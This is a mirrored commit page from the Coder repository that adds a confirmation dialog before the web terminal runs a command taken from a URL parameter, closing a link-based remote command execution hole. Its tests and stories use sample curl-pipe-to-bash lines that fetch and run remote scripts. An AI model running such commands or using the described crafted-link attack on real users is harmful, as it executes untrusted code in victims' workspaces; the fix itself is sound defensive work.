mirror of
https://github.com/coder/coder.git
synced 2026-09-24 15:04:27 +08:00
fix(site): require confirmation before executing terminal command from URL (#24650)
The terminal page auto-executed commands from the `?command=` query
parameter
on page load without user confirmation. Because session auth uses
`SameSite=Lax`
cookies, an attacker could craft a link (phishing email, Slack DM,
external page)
that executes arbitrary commands in a victim's workspace when clicked.
Adds a `ConfirmDialog` that shows the exact command and requires
explicit user
approval before it is passed to the terminal WebSocket. Canceling
removes the
`command` parameter from the URL and opens a plain terminal.
<details>
<summary>Implementation details</summary>
### Data flow (before)
`TerminalPage.tsx` reads `searchParams.get("command")` and passes it
directly
as `initialCommand` to `WorkspaceTerminal`, which embeds it in the
WebSocket
URL. `proxy.go` forwards it to the agent, which runs `bash -c
"<command>"`
immediately.
### Fix
- Added `commandConfirmed` state and `commandPendingConfirmation` flag
in
`TerminalPage.tsx`.
- The `loading` prop passed to `WorkspaceTerminal` includes
`commandPendingConfirmation`, keeping the terminal in loading state
until
the user confirms or cancels.
- The command is only passed as `initialCommand` after the user clicks
"Run command" in the confirmation dialog.
- Trusted `?app=` commands (resolved from agent apps) bypass the dialog.
- Cancel removes the `?command=` parameter from the URL entirely.
- No backend changes needed; the frontend gates the command before it
reaches the WebSocket.
### Terminal focus after dialog
`WorkspaceTerminal`'s autoFocus effect previously depended on
`[terminal, isVisible, autoFocus]` but not `loading`. It fired while the
Radix dialog's focus trap was active, so `terminal.focus()` was
intercepted. When `loading` became false after confirming the dialog,
the
effect did not re-fire. Fixed by adding `loading` to the effect deps and
skipping focus while `loading` is true.
### Files changed
| File | Change |
|------|--------|
| `site/src/pages/TerminalPage/TerminalPage.tsx` | Confirmation dialog,
`commandPendingConfirmation` in loading prop |
| `site/src/pages/TerminalPage/TerminalCommandConsentDialog.tsx` | New
dialog component |
| `site/src/pages/TerminalPage/TerminalCommandConsentDialog.stories.tsx`
| Storybook story for dialog |
| `site/src/pages/TerminalPage/TerminalPage.stories.tsx` |
`CommandConfirmation` story |
| `site/src/pages/TerminalPage/TerminalPage.test.tsx` | 4 new dialog
tests, `renderTerminalRaw` helper for non-blocking render |
| `site/src/modules/terminal/WorkspaceTerminal.tsx` | Add `loading` to
autoFocus effect deps |
| `site/e2e/helpers.ts` | Dismiss dialog in `openTerminalWindow` helper
|
| `site/e2e/tests/webTerminal.spec.ts` | Wait for
`data-status="connected"` + click terminal for focus |
</details>
> 🤖 Generated by Coder Agents
---------
Co-authored-by: Jakub Domeracki <jakub@coder.com>
This commit is contained in:
co-authored by
Jakub Domeracki
parent
d5a5be116d
commit
66abd8a271
@@ -1265,6 +1265,10 @@ export async function openTerminalWindow(
|
|||||||
`/@${user.username}/${workspaceName}.${agentName}/terminal${commandQuery}`,
|
`/@${user.username}/${workspaceName}.${agentName}/terminal${commandQuery}`,
|
||||||
);
|
);
|
||||||
|
|
||||||
|
// The terminal command confirmation dialog requires explicit user
|
||||||
|
// approval before the command executes.
|
||||||
|
await terminal.getByRole("button", { name: "Run command" }).click();
|
||||||
|
|
||||||
return terminal;
|
return terminal;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -40,13 +40,16 @@ test("web terminal", async ({ context, page }) => {
|
|||||||
const agent = await startAgent(page, token);
|
const agent = await startAgent(page, token);
|
||||||
const terminal = await openTerminalWindow(page, context, workspaceName);
|
const terminal = await openTerminalWindow(page, context, workspaceName);
|
||||||
|
|
||||||
await terminal.waitForSelector("div.xterm-rows", {
|
await terminal.waitForSelector('[data-status="connected"]', {
|
||||||
state: "visible",
|
state: "visible",
|
||||||
|
timeout: 30_000,
|
||||||
});
|
});
|
||||||
|
|
||||||
// Workaround: delay next steps as "div.xterm-rows" can be recreated/reattached
|
// Wait for xterm to render its row container and click to ensure
|
||||||
// after a couple of milliseconds.
|
// the terminal has keyboard focus after the confirmation dialog.
|
||||||
await terminal.waitForTimeout(2000);
|
const xtermRows = terminal.locator("div.xterm-rows");
|
||||||
|
await xtermRows.waitFor({ state: "visible" });
|
||||||
|
await xtermRows.click();
|
||||||
|
|
||||||
// Ensure that we can type in it
|
// Ensure that we can type in it
|
||||||
await terminal.keyboard.type("echo he${justabreak}llo123456");
|
await terminal.keyboard.type("echo he${justabreak}llo123456");
|
||||||
|
|||||||
@@ -133,7 +133,7 @@ describe("getAppHref", () => {
|
|||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
it("includes the command in the URL when app has a command", () => {
|
it("includes the app slug in the URL when app has a command", () => {
|
||||||
const app = {
|
const app = {
|
||||||
...MockWorkspaceApp,
|
...MockWorkspaceApp,
|
||||||
command: "ls -la",
|
command: "ls -la",
|
||||||
@@ -145,7 +145,7 @@ describe("getAppHref", () => {
|
|||||||
path: "",
|
path: "",
|
||||||
});
|
});
|
||||||
expect(href).toBe(
|
expect(href).toBe(
|
||||||
`/@${MockWorkspace.owner_name}/Test-Workspace.a-workspace-agent/terminal?command=ls%20-la`,
|
`/@${MockWorkspace.owner_name}/Test-Workspace.a-workspace-agent/terminal?app=${app.slug}`,
|
||||||
);
|
);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|||||||
@@ -127,12 +127,14 @@ export const getAppHref = (
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (app.command) {
|
if (app.command) {
|
||||||
// Terminal links are relative. The terminal page knows how
|
// Pass the app slug instead of the raw command. The terminal
|
||||||
// to select the correct workspace proxy for the websocket
|
// page resolves the command from the workspace agent's app
|
||||||
// connection.
|
// list, which avoids exposing the command in the URL and
|
||||||
|
// lets us skip the confirmation dialog for trusted,
|
||||||
|
// admin-configured template apps.
|
||||||
return `/@${workspace.owner_name}/${workspace.name}.${
|
return `/@${workspace.owner_name}/${workspace.name}.${
|
||||||
agent.name
|
agent.name
|
||||||
}/terminal?command=${encodeURIComponent(app.command)}`;
|
}/terminal?app=${encodeURIComponent(app.slug)}`;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (host && app.subdomain && app.subdomain_name) {
|
if (host && app.subdomain && app.subdomain_name) {
|
||||||
|
|||||||
@@ -276,7 +276,7 @@ export const WorkspaceTerminal = ({
|
|||||||
}, [isVisible, refit]);
|
}, [isVisible, refit]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!terminal || !isVisible || !autoFocus) {
|
if (!terminal || !isVisible || !autoFocus || loading) {
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -287,7 +287,7 @@ export const WorkspaceTerminal = ({
|
|||||||
return () => {
|
return () => {
|
||||||
cancelAnimationFrame(frame);
|
cancelAnimationFrame(frame);
|
||||||
};
|
};
|
||||||
}, [terminal, isVisible, autoFocus]);
|
}, [terminal, isVisible, autoFocus, loading]);
|
||||||
|
|
||||||
useEffect(() => {
|
useEffect(() => {
|
||||||
if (!terminal || !hasBeenVisible) {
|
if (!terminal || !hasBeenVisible) {
|
||||||
|
|||||||
@@ -0,0 +1,35 @@
|
|||||||
|
import type { Meta, StoryObj } from "@storybook/react-vite";
|
||||||
|
import { fn } from "storybook/test";
|
||||||
|
import { TerminalCommandConsentDialog } from "./TerminalCommandConsentDialog";
|
||||||
|
|
||||||
|
const meta: Meta<typeof TerminalCommandConsentDialog> = {
|
||||||
|
title: "pages/Terminal/TerminalCommandConsentDialog",
|
||||||
|
component: TerminalCommandConsentDialog,
|
||||||
|
args: {
|
||||||
|
open: true,
|
||||||
|
onConfirm: fn(),
|
||||||
|
onDeny: fn(),
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export default meta;
|
||||||
|
type Story = StoryObj<typeof TerminalCommandConsentDialog>;
|
||||||
|
|
||||||
|
export const Default: Story = {
|
||||||
|
args: {
|
||||||
|
command: "echo hello",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export const WithDangerousCommand: Story = {
|
||||||
|
args: {
|
||||||
|
command: "curl https://example.com/install.sh | bash",
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
export const WithLongCommand: Story = {
|
||||||
|
args: {
|
||||||
|
command:
|
||||||
|
"curl -fsSL https://very-long-domain-name.example.com/extremely/long/path/to/some/script/that/does/many/things/install.sh | bash -s -- --option1 --option2 --option3=value",
|
||||||
|
},
|
||||||
|
};
|
||||||
@@ -0,0 +1,61 @@
|
|||||||
|
import { TriangleAlertIcon } from "lucide-react";
|
||||||
|
import type { FC } from "react";
|
||||||
|
import { Button } from "#/components/Button/Button";
|
||||||
|
import {
|
||||||
|
Dialog,
|
||||||
|
DialogContent,
|
||||||
|
DialogDescription,
|
||||||
|
DialogFooter,
|
||||||
|
DialogHeader,
|
||||||
|
DialogTitle,
|
||||||
|
} from "#/components/Dialog/Dialog";
|
||||||
|
|
||||||
|
interface TerminalCommandConsentDialogProps {
|
||||||
|
open: boolean;
|
||||||
|
command: string;
|
||||||
|
onConfirm: () => void;
|
||||||
|
onDeny: () => void;
|
||||||
|
}
|
||||||
|
|
||||||
|
export const TerminalCommandConsentDialog: FC<
|
||||||
|
TerminalCommandConsentDialogProps
|
||||||
|
> = ({ open, command, onConfirm, onDeny }) => {
|
||||||
|
return (
|
||||||
|
<Dialog open={open}>
|
||||||
|
<DialogContent
|
||||||
|
onPointerDownOutside={(e) => e.preventDefault()}
|
||||||
|
onEscapeKeyDown={(e) => e.preventDefault()}
|
||||||
|
className="max-w-2xl overflow-hidden min-w-0"
|
||||||
|
>
|
||||||
|
<DialogHeader>
|
||||||
|
<DialogTitle>
|
||||||
|
<TriangleAlertIcon className="size-icon-lg text-content-warning inline-block align-text-bottom mr-2" />
|
||||||
|
Warning: Terminal Command Execution
|
||||||
|
</DialogTitle>
|
||||||
|
<DialogDescription>
|
||||||
|
A link is requesting to run a command in your terminal. Running
|
||||||
|
commands from untrusted sources can be dangerous.
|
||||||
|
</DialogDescription>
|
||||||
|
</DialogHeader>
|
||||||
|
|
||||||
|
<div className="flex min-w-0 flex-col gap-2">
|
||||||
|
<span className="text-sm font-semibold text-content-primary">
|
||||||
|
Command:
|
||||||
|
</span>
|
||||||
|
<code className="block whitespace-pre overflow-x-auto">
|
||||||
|
{command}
|
||||||
|
</code>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<DialogFooter>
|
||||||
|
<Button variant="outline" onClick={onDeny}>
|
||||||
|
Cancel
|
||||||
|
</Button>
|
||||||
|
<Button variant="default" onClick={onConfirm}>
|
||||||
|
Run command
|
||||||
|
</Button>
|
||||||
|
</DialogFooter>
|
||||||
|
</DialogContent>
|
||||||
|
</Dialog>
|
||||||
|
);
|
||||||
|
};
|
||||||
@@ -224,3 +224,34 @@ export const BottomMessage: Story = {
|
|||||||
},
|
},
|
||||||
},
|
},
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export const CommandConfirmation: Story = {
|
||||||
|
decorators: [withWebSocket],
|
||||||
|
parameters: {
|
||||||
|
...meta.parameters,
|
||||||
|
reactRouter: reactRouterParameters({
|
||||||
|
location: {
|
||||||
|
pathParams: {
|
||||||
|
username: `@${MockWorkspace.owner_name}`,
|
||||||
|
workspace: MockWorkspace.name,
|
||||||
|
},
|
||||||
|
searchParams: {
|
||||||
|
command: "curl https://example.com/install.sh | bash",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
routing: reactRouterOutlet(
|
||||||
|
{
|
||||||
|
path: "/:username/:workspace/terminal",
|
||||||
|
},
|
||||||
|
<TerminalPage />,
|
||||||
|
),
|
||||||
|
}),
|
||||||
|
webSocket: [
|
||||||
|
{
|
||||||
|
event: "message",
|
||||||
|
data: "\x1b[H\x1b[2J\x1b[1m\x1b[32m\u27a4 \x1b[36mcoder\x1b[C\x1b[34mgit:(\x1b[31mbq/refactor-web-term-notifications\x1b[34m) \x1b[33m\u2717",
|
||||||
|
},
|
||||||
|
],
|
||||||
|
queries: [...meta.parameters.queries, createWorkspaceWithAgent("ready")],
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|||||||
@@ -1,12 +1,14 @@
|
|||||||
import { waitFor } from "@testing-library/react";
|
import { screen, waitFor } from "@testing-library/react";
|
||||||
import userEvent from "@testing-library/user-event";
|
import userEvent from "@testing-library/user-event";
|
||||||
import { HttpResponse, http } from "msw";
|
import { HttpResponse, http } from "msw";
|
||||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||||
import { API } from "#/api/api";
|
import { API } from "#/api/api";
|
||||||
|
import type { Workspace } from "#/api/typesGenerated";
|
||||||
import {
|
import {
|
||||||
MockUserOwner,
|
MockUserOwner,
|
||||||
MockWorkspace,
|
MockWorkspace,
|
||||||
MockWorkspaceAgent,
|
MockWorkspaceAgent,
|
||||||
|
MockWorkspaceApp,
|
||||||
} from "#/testHelpers/entities";
|
} from "#/testHelpers/entities";
|
||||||
import { renderWithAuth } from "#/testHelpers/renderHelpers";
|
import { renderWithAuth } from "#/testHelpers/renderHelpers";
|
||||||
import { server } from "#/testHelpers/server";
|
import { server } from "#/testHelpers/server";
|
||||||
@@ -43,6 +45,10 @@ const createWorkspaceTerminalWebSocket = () => {
|
|||||||
return new WS(websocketUrl);
|
return new WS(websocketUrl);
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Renders the terminal page and waits for the terminal to finish
|
||||||
|
// initializing (i.e. the WebSocket connection is established). Do not
|
||||||
|
// use this for tests where the terminal stays in loading state, such
|
||||||
|
// as when a command confirmation dialog is blocking the connection.
|
||||||
const renderTerminal = async (
|
const renderTerminal = async (
|
||||||
route = `/${MockUserOwner.username}/${MockWorkspace.name}/terminal`,
|
route = `/${MockUserOwner.username}/${MockWorkspace.name}/terminal`,
|
||||||
) => {
|
) => {
|
||||||
@@ -63,6 +69,18 @@ const renderTerminal = async (
|
|||||||
return utils;
|
return utils;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// Renders the terminal page without waiting for the terminal to leave
|
||||||
|
// the "initializing" state. Use this for tests where a confirmation
|
||||||
|
// dialog keeps the terminal in loading state until the user acts.
|
||||||
|
const renderTerminalRaw = (
|
||||||
|
route = `/${MockUserOwner.username}/${MockWorkspace.name}/terminal`,
|
||||||
|
) => {
|
||||||
|
return renderWithAuth(<TerminalPage />, {
|
||||||
|
route,
|
||||||
|
path: "/:username/:workspace/terminal",
|
||||||
|
});
|
||||||
|
};
|
||||||
|
|
||||||
const expectTerminalText = (container: HTMLElement, text: string) => {
|
const expectTerminalText = (container: HTMLElement, text: string) => {
|
||||||
return waitFor(
|
return waitFor(
|
||||||
() => {
|
() => {
|
||||||
@@ -181,4 +199,106 @@ describe("TerminalPage", () => {
|
|||||||
const req = JSON.parse(new TextDecoder().decode((await msg) as Uint8Array));
|
const req = JSON.parse(new TextDecoder().decode((await msg) as Uint8Array));
|
||||||
expect(req.data).toBe("\x1b\r");
|
expect(req.data).toBe("\x1b\r");
|
||||||
});
|
});
|
||||||
|
|
||||||
|
it("shows confirmation dialog when command param is present", async () => {
|
||||||
|
renderTerminalRaw(
|
||||||
|
`/${MockUserOwner.username}/${MockWorkspace.name}/terminal?command=echo+hello`,
|
||||||
|
);
|
||||||
|
const dialog = await screen.findByRole("dialog");
|
||||||
|
expect(dialog).toHaveTextContent("echo hello");
|
||||||
|
expect(
|
||||||
|
screen.getByRole("button", { name: "Run command" }),
|
||||||
|
).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("does not show confirmation dialog when no command param", async () => {
|
||||||
|
createWorkspaceTerminalWebSocket();
|
||||||
|
await renderTerminal();
|
||||||
|
expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it("executes command after confirmation", async () => {
|
||||||
|
const websocketProtocol =
|
||||||
|
window.location.protocol === "https:" ? "wss" : "ws";
|
||||||
|
const ws = new WS(
|
||||||
|
`${websocketProtocol}://${window.location.host}/api/v2/workspaceagents/${MockWorkspaceAgent.id}/pty?reconnect=${reconnectToken}&command=echo+hello&height=24&width=80`,
|
||||||
|
);
|
||||||
|
renderTerminalRaw(
|
||||||
|
`/${MockUserOwner.username}/${MockWorkspace.name}/terminal?command=echo+hello`,
|
||||||
|
);
|
||||||
|
await userEvent.click(
|
||||||
|
await screen.findByRole("button", { name: "Run command" }),
|
||||||
|
);
|
||||||
|
await waitFor(() =>
|
||||||
|
expect(screen.queryByRole("dialog")).not.toBeInTheDocument(),
|
||||||
|
);
|
||||||
|
// Verify the websocket connected and received a resize message.
|
||||||
|
const msg = await ws.nextMessage;
|
||||||
|
const resizeReq = JSON.parse(new TextDecoder().decode(msg as Uint8Array));
|
||||||
|
expect(resizeReq.height).toBeGreaterThan(0);
|
||||||
|
expect(resizeReq.width).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("removes command param on cancel", async () => {
|
||||||
|
createWorkspaceTerminalWebSocket();
|
||||||
|
renderTerminalRaw(
|
||||||
|
`/${MockUserOwner.username}/${MockWorkspace.name}/terminal?command=echo+hello`,
|
||||||
|
);
|
||||||
|
await userEvent.click(
|
||||||
|
await screen.findByRole("button", { name: "Cancel" }),
|
||||||
|
);
|
||||||
|
await waitFor(() =>
|
||||||
|
expect(screen.queryByRole("dialog")).not.toBeInTheDocument(),
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
it("skips confirmation dialog for trusted app commands", async () => {
|
||||||
|
// Override the workspace response so the agent has an app with
|
||||||
|
// a command that matches the ?app= slug.
|
||||||
|
const appWithCommand = {
|
||||||
|
...MockWorkspaceApp,
|
||||||
|
slug: "my-app",
|
||||||
|
command: "echo trusted",
|
||||||
|
};
|
||||||
|
const workspaceWithApp: Workspace = {
|
||||||
|
...MockWorkspace,
|
||||||
|
latest_build: {
|
||||||
|
...MockWorkspace.latest_build,
|
||||||
|
resources: [
|
||||||
|
{
|
||||||
|
...MockWorkspace.latest_build.resources[0],
|
||||||
|
agents: [
|
||||||
|
{
|
||||||
|
...MockWorkspaceAgent,
|
||||||
|
apps: [appWithCommand],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
],
|
||||||
|
},
|
||||||
|
};
|
||||||
|
server.use(
|
||||||
|
http.get("/api/v2/users/:userId/workspace/:workspaceName", () => {
|
||||||
|
return HttpResponse.json(workspaceWithApp);
|
||||||
|
}),
|
||||||
|
);
|
||||||
|
|
||||||
|
const websocketProtocol =
|
||||||
|
window.location.protocol === "https:" ? "wss" : "ws";
|
||||||
|
const ws = new WS(
|
||||||
|
`${websocketProtocol}://${window.location.host}/api/v2/workspaceagents/${MockWorkspaceAgent.id}/pty?reconnect=${reconnectToken}&command=echo+trusted&height=24&width=80`,
|
||||||
|
);
|
||||||
|
await renderTerminal(
|
||||||
|
`/${MockUserOwner.username}/${MockWorkspace.name}/terminal?app=my-app`,
|
||||||
|
);
|
||||||
|
|
||||||
|
// No dialog should appear.
|
||||||
|
expect(screen.queryByRole("dialog")).not.toBeInTheDocument();
|
||||||
|
|
||||||
|
// The websocket should connect with the resolved command.
|
||||||
|
const msg = await ws.nextMessage;
|
||||||
|
const resizeReq = JSON.parse(new TextDecoder().decode(msg as Uint8Array));
|
||||||
|
expect(resizeReq.height).toBeGreaterThan(0);
|
||||||
|
expect(resizeReq.width).toBeGreaterThan(0);
|
||||||
|
});
|
||||||
});
|
});
|
||||||
|
|||||||
@@ -1,4 +1,11 @@
|
|||||||
import { type FC, useCallback, useEffect, useRef, useState } from "react";
|
import {
|
||||||
|
type FC,
|
||||||
|
useCallback,
|
||||||
|
useEffect,
|
||||||
|
useMemo,
|
||||||
|
useRef,
|
||||||
|
useState,
|
||||||
|
} from "react";
|
||||||
import { useQuery } from "react-query";
|
import { useQuery } from "react-query";
|
||||||
import { useNavigate, useParams, useSearchParams } from "react-router";
|
import { useNavigate, useParams, useSearchParams } from "react-router";
|
||||||
import { v4 as uuidv4 } from "uuid";
|
import { v4 as uuidv4 } from "uuid";
|
||||||
@@ -22,11 +29,12 @@ import themes from "#/theme";
|
|||||||
import { pageTitle } from "#/utils/page";
|
import { pageTitle } from "#/utils/page";
|
||||||
import { openMaybePortForwardedURL } from "#/utils/portForward";
|
import { openMaybePortForwardedURL } from "#/utils/portForward";
|
||||||
import { getMatchingAgentOrFirst } from "#/utils/workspace";
|
import { getMatchingAgentOrFirst } from "#/utils/workspace";
|
||||||
|
import { TerminalCommandConsentDialog } from "./TerminalCommandConsentDialog";
|
||||||
|
|
||||||
const TerminalPage: FC = () => {
|
const TerminalPage: FC = () => {
|
||||||
// Maybe one day we'll support a light themed terminal, but terminal coloring
|
// Maybe one day we'll support a light themed terminal, but terminal coloring
|
||||||
// is notably a pain because of assumptions certain programs might make about your
|
// is notably a pain because of assumptions certain programs might make about
|
||||||
// background color.
|
// your background color.
|
||||||
const theme = themes.dark;
|
const theme = themes.dark;
|
||||||
const navigate = useNavigate();
|
const navigate = useNavigate();
|
||||||
const { proxy, proxyLatencies } = useProxy();
|
const { proxy, proxyLatencies } = useProxy();
|
||||||
@@ -35,6 +43,7 @@ const TerminalPage: FC = () => {
|
|||||||
const terminalRef = useRef<WorkspaceTerminalHandle>(null);
|
const terminalRef = useRef<WorkspaceTerminalHandle>(null);
|
||||||
const [connectionStatus, setConnectionStatus] =
|
const [connectionStatus, setConnectionStatus] =
|
||||||
useState<ConnectionStatus>("initializing");
|
useState<ConnectionStatus>("initializing");
|
||||||
|
const [commandConfirmed, setCommandConfirmed] = useState(false);
|
||||||
const [searchParams] = useSearchParams();
|
const [searchParams] = useSearchParams();
|
||||||
const isDebugging = searchParams.has("debug");
|
const isDebugging = searchParams.has("debug");
|
||||||
// The reconnection token is a unique token that identifies
|
// The reconnection token is a unique token that identifies
|
||||||
@@ -42,8 +51,10 @@ const TerminalPage: FC = () => {
|
|||||||
// a round-trip, and must be a UUIDv4.
|
// a round-trip, and must be a UUIDv4.
|
||||||
const reconnectionToken = searchParams.get("reconnect") ?? uuidv4();
|
const reconnectionToken = searchParams.get("reconnect") ?? uuidv4();
|
||||||
const command = searchParams.get("command") || undefined;
|
const command = searchParams.get("command") || undefined;
|
||||||
|
const appSlug = searchParams.get("app") || undefined;
|
||||||
const containerName = searchParams.get("container") || undefined;
|
const containerName = searchParams.get("container") || undefined;
|
||||||
const containerUser = searchParams.get("container_user") || undefined;
|
const containerUser = searchParams.get("container_user") || undefined;
|
||||||
|
|
||||||
// The workspace name is in the format:
|
// The workspace name is in the format:
|
||||||
// <workspace name>[.<agent name>]
|
// <workspace name>[.<agent name>]
|
||||||
const workspaceNameParts = params.workspace?.split(".");
|
const workspaceNameParts = params.workspace?.split(".");
|
||||||
@@ -53,6 +64,26 @@ const TerminalPage: FC = () => {
|
|||||||
const workspaceAgent = workspace.data
|
const workspaceAgent = workspace.data
|
||||||
? getMatchingAgentOrFirst(workspace.data, workspaceNameParts?.[1])
|
? getMatchingAgentOrFirst(workspace.data, workspaceNameParts?.[1])
|
||||||
: undefined;
|
: undefined;
|
||||||
|
|
||||||
|
// Resolve the ?app= slug to a command from the agent's app list.
|
||||||
|
// These commands are admin-configured in the template and trusted,
|
||||||
|
// so they skip the confirmation dialog.
|
||||||
|
const appCommand = useMemo(() => {
|
||||||
|
if (!appSlug || !workspaceAgent) {
|
||||||
|
return undefined;
|
||||||
|
}
|
||||||
|
const app = workspaceAgent.apps.find((a) => a.slug === appSlug);
|
||||||
|
return app?.command || undefined;
|
||||||
|
}, [appSlug, workspaceAgent]);
|
||||||
|
|
||||||
|
// Raw ?command= params require explicit user confirmation.
|
||||||
|
// Trusted ?app= commands bypass the dialog.
|
||||||
|
const commandPendingConfirmation = !!command && !appSlug && !commandConfirmed;
|
||||||
|
const initialCommand = appCommand
|
||||||
|
? appCommand
|
||||||
|
: command && commandConfirmed
|
||||||
|
? command
|
||||||
|
: undefined;
|
||||||
const selectedProxy = proxy.proxy;
|
const selectedProxy = proxy.proxy;
|
||||||
const latency = selectedProxy ? proxyLatencies[selectedProxy.id] : undefined;
|
const latency = selectedProxy ? proxyLatencies[selectedProxy.id] : undefined;
|
||||||
|
|
||||||
@@ -139,7 +170,7 @@ const TerminalPage: FC = () => {
|
|||||||
ref={terminalRef}
|
ref={terminalRef}
|
||||||
agentId={workspaceAgent?.id}
|
agentId={workspaceAgent?.id}
|
||||||
operatingSystem={workspaceAgent?.operating_system}
|
operatingSystem={workspaceAgent?.operating_system}
|
||||||
initialCommand={command}
|
initialCommand={initialCommand}
|
||||||
containerName={containerName}
|
containerName={containerName}
|
||||||
containerUser={containerUser}
|
containerUser={containerUser}
|
||||||
onStatusChange={setConnectionStatus}
|
onStatusChange={setConnectionStatus}
|
||||||
@@ -152,7 +183,8 @@ const TerminalPage: FC = () => {
|
|||||||
loading={
|
loading={
|
||||||
workspace.isLoading ||
|
workspace.isLoading ||
|
||||||
config.isLoading ||
|
config.isLoading ||
|
||||||
appearanceSettingsQuery.isLoading
|
appearanceSettingsQuery.isLoading ||
|
||||||
|
commandPendingConfirmation
|
||||||
}
|
}
|
||||||
errorMessage={terminalErrorMessage}
|
errorMessage={terminalErrorMessage}
|
||||||
testId="terminal"
|
testId="terminal"
|
||||||
@@ -172,6 +204,20 @@ const TerminalPage: FC = () => {
|
|||||||
Latency: {latency.latencyMS.toFixed(0)}ms
|
Latency: {latency.latencyMS.toFixed(0)}ms
|
||||||
</span>
|
</span>
|
||||||
)}
|
)}
|
||||||
|
|
||||||
|
{command && !appSlug && (
|
||||||
|
<TerminalCommandConsentDialog
|
||||||
|
open={!commandConfirmed}
|
||||||
|
command={command}
|
||||||
|
onConfirm={() => {
|
||||||
|
setCommandConfirmed(true);
|
||||||
|
}}
|
||||||
|
onDeny={() => {
|
||||||
|
searchParams.delete("command");
|
||||||
|
navigate({ search: searchParams.toString() }, { replace: true });
|
||||||
|
}}
|
||||||
|
/>
|
||||||
|
)}
|
||||||
</ThemeOverride>
|
</ThemeOverride>
|
||||||
);
|
);
|
||||||
};
|
};
|
||||||
|
|||||||
Reference in New Issue
Block a user